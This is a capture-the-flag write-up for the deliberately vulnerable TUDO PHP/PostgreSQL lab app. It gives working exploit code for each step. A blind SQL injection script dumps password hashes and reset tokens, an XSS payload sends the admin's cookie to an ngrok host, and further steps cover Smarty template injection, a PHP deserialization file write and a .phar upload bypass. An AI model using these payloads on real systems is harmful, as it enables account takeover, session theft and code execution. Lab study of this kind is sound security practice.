TUDO - Write-Up
Creator | Language |
---|---|
William Moody (@bmdyy) | PHP & PostgreSQL |
[*] INDEX
1- Authentication Bypass
1.1 - SQL Injection
There is a Forgot Username section for non-Authenticated users, where we can check if a user exists or not. If we look at the source code of forgotusername.php
we can see this :
<?php
session_start();
if (isset($_SESSION['loggedin']) && $_SESSION['loggedin'] == true) {
header('location: /index.php');
die();
}
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$username = $_POST['username'];
include('includes/db_connect.php');
$ret = pg_query($db, "select * from users where username='".$username."';");
if (pg_num_rows($ret) === 1) {
$success = true;
} else {
$error = true;
}
}
?>
The user input is not properly sanitized, this is vulnerable agains SQL injection, we can check this with the following payload :
'|| CASE WHEN 1=1 THEN pg_sleep(3) ELSE 'a' END ||'--
import requests
url = "http://172.17.0.2:80/forgotusername.php"
cookies = {"PHPSESSID": "m57d7dbhkgso67mo1d9epbqj8k"}
data = {
"username": "'|| CASE WHEN 1=1 THEN pg_sleep(3) ELSE 'a' END ||'--"
}
r = requests.post(url, cookies=cookies, data=data)
if r.elapsed.total_seconds() > 1:
print("[!] SQL Injection confirmed")
# Output : [!] SQL Injection confirmed
Nice! Now let’s build a script to dump data about the database :
import requests
s = requests.session()
url = "http://172.17.0.2:80/forgotusername.php"
def sendQuery(url, q):
output = "\n[+] OUTPUT : "
print(output)
y = 1
finish = False
while finish == False:
for ascii_char in range(32, 126):
cookies = {"PHPSESSID": "m57d7dbhkgso67mo1d9epbqj8k"}
data = {
"username": "'|| CASE WHEN (SELECT ASCII(SUBSTRING(({query}), {y}, 1)))={char} THEN pg_sleep(3) ELSE 'a' END ||'--".format(query=q, y=y,char=ascii_char)
}
r = s.post(url, cookies=cookies, data=data)
if r.elapsed.total_seconds() > 1:
print(chr(ascii_char), end='', flush=True)
output += chr(ascii_char)
y += 1
break
else:
return output
if __name__ == "__main__":
# SELECT table_name from information_schema.tables LIMIT 1 OFFSET 0
# [+] OUTPUT :
# users
# [+] OUTPUT :
# tokens
# [+] OUTPUT :
# class_posts
# [+] OUTPUT :
# motd_images
# SELECT COLUMN_NAME FROM information_schema.columns WHERE table_name = 'users' LIMIT 1 OFFSET X
# [+] OUTPUT :
# uid
# [+] OUTPUT :
# username
# [+] OUTPUT :
# password
# [+] OUTPUT :
#description
# SELECT username FROM users LIMIT 1 OFFSET X
# [+] OUTPUT :
# admin
# [+] OUTPUT :
# user1
# [+] OUTPUT :
# user2
# SELECT password FROM users LIMIT 1 OFFSET X
# [+] OUTPUT :
# 8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918
# [+] OUTPUT :
# 0a041b9462caa4a31bac3567e0b6e265dd98d421a7084aa09f61b341703901a3
# [+] OUTPUT :
# 0a041b9462caa4a31bac3567e0b6e6fd9100787db2ab433d96f6d178cabfce90
x = 0
while True:
result = sendQuery(url, "SELECT password FROM users LIMIT 1 OFFSET {x}".format(x=x))
if (result == "\n[+] OUTPUT : "):
break
else:
x+=1
But we can’t just crack the password of the user, this is not the intended way. We have a recover password field :
Let’s generate a token for user1 and user2, and the get the token through SQLi :
[+] OUTPUT :
5gqnfrYSXanuqR4FrhfJnOoa1E_ZoZdH
[+] OUTPUT :
8RpxMWZWfTmZR4R72CuwhbLeW2pTU64p
[+] OUTPUT :
U7BdeG6eUlKPAJozxfxURB3F5PkHLYbN
Now we just have to change the password :
import requests
token = 'e_Q9Kyiv2O2X2eyPvjsJq0QrG6xtPkxz'
data = {
'token':token,
'password1':'whoami',
'password2':'whoami'
}
requests.post('http://172.17.0.2/resetpassword.php',data=data)
2- Privilege Escalation
2.1 - XSS - Session Hijacking
In the challenge this data is provided :
The attack for step 2 may take up to a minute to complete, since the admin’s actions are emulated with a cron job every minute on the target machine.
So if we log in with admin’s default credentials we can see this :
The description field can be edited by the user, so this is likely to be vulnerable against XSS, let’s try with
<script>alert()</script>
And now if we log in as the admin we see that the XSS was successfully performed :
Let’s steal the admin’s cookie to hijack the session :
<img src=x onerror=this.src='http://-------------.ngrok.io?cookie='+document.cookie;>
Now we just have to wait…
GET /?cookie=PHPSESSID=duloifelo1cvdoepgl178enadc
3- Remote Code Execution
3.1- Server Side Template Injection
As we can see in the MoTD section :
This is probably using kind of template which could be vulnerable agains SSTI, I tried with the typicall {{7*7}}
, ${7*7}
… But it didn’t work, so let’s check out the source code. In the index.php
we can find this :
$smarty = new Smarty();
$smarty->assign("username", $_SESSION['username']);
$smarty->debugging = true;
$smarty->force_compile = true;
echo $smarty->fetch("motd.tpl").'<br>';
We can see that the Web Application is working with Smarty, a web template system written in PHP. We can try with the payloads of PayloadAllTheThings :
{$smarty.version}
-> 2.6.31
Nice, this worked! Let’s try to execute code :
whoami
-> www-data
3.2- Deserialization
In the utils.php
file we can see the Log class :
class Log {
public function __construct($f, $m) {
$this->f = $f;
$this->m = $m;
}
public function __destruct() {
file_put_contents($this->f, $this->m, FILE_APPEND);
}
}
In the __destruct()
magic function is writing data into a file, appending the data to the content of the file. We can insert a php reverse shell inside. In the import_user
functionality we can see that the class is unserialized :
<?php
include('../includes/utils.php');
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$userObj = $_POST['userobj'];
if ($userObj !== "") {
$user = unserialize($userObj);
Let’s serialize it and send it to the server :
<?php
class Log {
public function __construct($f, $m) {
$this->f = $f;
$this->m = $m;
}
public function __destruct() {
;//file_put_contents($this->f, $this->m, FILE_APPEND);
}
}
$log = new Log("/var/www/html/test.php", "<?php echo exec('whoami'); ?>");
echo serialize($log);
?>
Output : O:3:"Log":2:{s:1:"f";s:22:"/var/www/html/test.php";s:1:"m";s:29:"<?php echo exec('whoami'); ?>";}
Now we can send it to the server :
POST /admin/import_user.php HTTP/1.1
userobj=O%3a3%3a"Log"%3a2%3a{s%3a1%3a"f"%3bs%3a22%3a"/var/www/html/test.php"%3bs%3a1%3a"m"%3bs%3a29%3a"<%3fphp+echo+exec('whoami')%3b+%3f>"%3b}
Let’s visit test.php
:
3.3 - Image Upload Bypass
We have a blacklist of file extensions :
$illegal_ext = Array("php","pht","phtm","phtml","phpt","pgif","phps","php2","php3","php4","php5","php6","php7","php16","inc");
But the .phar
extension in this list is missing. Let’s try to upload a .phar
file :
POST /admin/upload_image.php HTTP/1.1
Host: 172.17.0.2
Content-Length: 321
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://172.17.0.2
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryEXgdYgNENPVGJjk7
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://172.17.0.2/admin/update_motd.php
Accept-Encoding: gzip, deflate
Accept-Language: es-ES,es;q=0.9
Cookie: PHPSESSID=nbi26n89hhbr8r0a6qvarevl6l
Connection: close
------WebKitFormBoundaryEXgdYgNENPVGJjk7
Content-Disposition: form-data; name="title"
------WebKitFormBoundaryEXgdYgNENPVGJjk7
Content-Disposition: form-data; name="image"; filename="rshell.phar"
Content-Type: application/octet-stream
<?php echo exec('whoami'); ?>
------WebKitFormBoundaryEXgdYgNENPVGJjk7--
But this is the response given :
Failed getimagesize<br>
Illegal mime type<br>
The mime type we can easily change the Content-Type to image/gif
:
Content-Type: image/gif
But we’re still geting Failed getimagesize
. We can add the file gif file signature GIF87a
.
filename="rshell.phar"
Content-Type: image/gif
GIF87a
<?php echo exec('whoami'); ?>
Now let’s request the file :
Nice, it worked!